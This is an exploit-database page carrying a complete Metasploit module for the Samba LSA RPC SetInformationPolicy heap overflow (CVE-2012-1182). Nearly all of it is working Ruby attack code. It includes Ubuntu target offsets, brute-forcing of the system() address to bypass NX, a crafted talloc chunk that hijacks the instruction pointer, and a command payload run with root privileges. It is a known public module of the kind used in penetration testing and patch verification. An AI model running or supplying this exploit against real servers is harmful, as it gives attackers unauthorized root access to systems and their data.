[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Samba SetInformationPolicy AuditEventsInfo Heap Overflow

Author
metasploit
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-19490
Category
remote exploits
Date add
28-09-2012
Platform
linux
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
      'Description'    => %q{
          This module triggers a vulnerability in the LSA RPC service of the Samba daemon
        because of an error on the PIDL auto-generated code. Making a specially crafted
        call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
        trigger a heap overflow and finally execute arbitrary code with root privileges.

        The module uses brute force to guess the system() address and redirect flow there
        in order to bypass NX. The start and stop addresses for brute forcing have been
        calculated empirically. On the other hand the module provides the StartBrute and
        StopBrute which allow the user to configure his own addresses.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'blasty', # Exploit
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-1182'],
          ['OSVDB', '81303'],
          ['BID', '52973'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 811,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic bash telnet python perl',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
          ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start for the final version should be 0xb20 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230b20 },
                'Stop'  => { 'Ret' => 0x22a00b20 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x950 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230950 },
                'Stop'  => { 'Ret' => 0x22a00950 },
                'Step'  => 0x1000,
              }
            }
          ],
          ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
            {
              'Offset' => 0x11c0,
              'Bruteforce' =>
              {
                # The start should be 0x680 aligned, and then step 0x1000.
                'Start' => { 'Ret' => 0x00230680 },
                'Stop'  => { 'Ret' => 0x22a00680 },
                'Step'  => 0x1000,
              }
            }
          ]
        ],
      'DisclosureDate' => 'Apr 10 2012',
      'DefaultTarget'  => 0,
      ))

    register_options([
      OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
      OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
    ], self.class)

  end

  def exploit
    if target.bruteforce?
      bf = target.bruteforce

      if datastore['StartBrute'] and datastore['StartBrute'] > 0
        bf.start_addresses['Ret'] = datastore['StartBrute']
      end

      if datastore['StopBrute'] and datastore['StopBrute'] > 0
        bf.stop_addresses['Ret'] = datastore['StopBrute']
      end

      if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
        raise ArgumentError, "StartBrute should not be larger than StopBrute"
      end
    end
    super
  end

  def check
    begin
      connect()
      smb_login()
      disconnect()

      version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
      minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
      print_status("Version found: #{version}")

      return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
      return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
      return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

      return Exploit::CheckCode::Safe

    rescue ::Exception
      return CheckCode::Unknown
    end
  end

  def brute_exploit(target_addrs)

    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
    datastore['DCERPC::fake_bind_multi'] = false
    datastore['DCERPC::max_frag_size'] = 4248

    pipe = "lsarpc"

    print_status("Connecting to the SMB service...")
    connect()
    print_status("Login to the SMB service...")
    smb_login()

    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    stub = "X" * 20

    cmd = ";;;;" # padding
    cmd << "#{payload.encoded}\x00" # system argument
    tmp = cmd * (816/cmd.length)
    tmp << "\x00"*(816-tmp.length)

    stub << NDR.short(2)     # level
    stub << NDR.short(2)     # level 2
    stub << NDR.long(1)      # auditing mode
    stub << NDR.long(1)      # ptr
    stub << NDR.long(100000) # r-> count
    stub << NDR.long(20)     # array size
    stub << NDR.long(0)
    stub << NDR.long(100)
    stub << rand_text_alpha(target['Offset'])
    # Crafted talloc chunk
    stub << 'A' * 8                       # next, prev
    stub << NDR.long(0) + NDR.long(0)     # parent, child
    stub << NDR.long(0)                   # refs
    stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
    stub << NDR.long(0)                   # name
    stub << "AAAA"                        # size
    stub << NDR.long(0xe8150c70)          # flags
    stub << "AAAABBBB"
    stub << tmp # pointer to tmp+4 in $esp
    stub << rand_text(32632)
    stub << rand_text(62000)

    print_status("Calling the vulnerable function...")

    begin
      call(dcerpc, 0x08, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
      print_status('Server did not respond, this is expected')
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      print_error('Server is most likely patched...')
    rescue => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      end
    end

    handler
    disconnect
  end

  # Perform a DCE/RPC Function Call
  def call(dcerpc, function, data, do_recv = true)

    frag_size = data.length
    if dcerpc.options['frag_size']
      frag_size = dcerpc.options['frag_size']
    end
    object_id = ''
    if dcerpc.options['object_call']
      object_id = dcerpc.handle.uuid[0]
    end
    if options['random_object_id']
      object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
    end

    call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
    call_packets.each { |packet|
      write(dcerpc, packet)
    }

    return true if not do_recv

    raw_response = ''

    begin
      raw_response = dcerpc.read()
    rescue ::EOFError
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    if (raw_response == nil or raw_response.length == 0)
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end


    dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

    if dcerpc.last_response.type == 3
      e = Rex::Proto::DCERPC::Exceptions::Fault.new
      e.fault = dcerpc.last_response.status
      raise e
    end

    dcerpc.last_response.stub_data
  end

  # Used to create standard DCERPC REQUEST packet(s)
  def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

    opnum = opnum.to_i
    size = size.to_i
    ctx   = ctx.to_i

    chunks, frags = [], []
    ptr = 0

    # Break the request into fragments of 'size' bytes
    while ptr < data.length
      chunks.push( data[ ptr, size ] )
      ptr += size
    end

    # Process requests with no stub data
    if chunks.length == 0
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
      return frags
    end

    # Process requests with only one fragment
    if chunks.length == 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
      return frags
    end

    # Create the first fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

    # Create all of the middle fragments
    while chunks.length != 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
    end

    # Create the last fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

    return frags
  end

  # Write data to the underlying socket
  def write(dcerpc, data)
    dcerpc.socket.write(data)
    data.length
  end

end



#  0day.today [2024-12-25]  #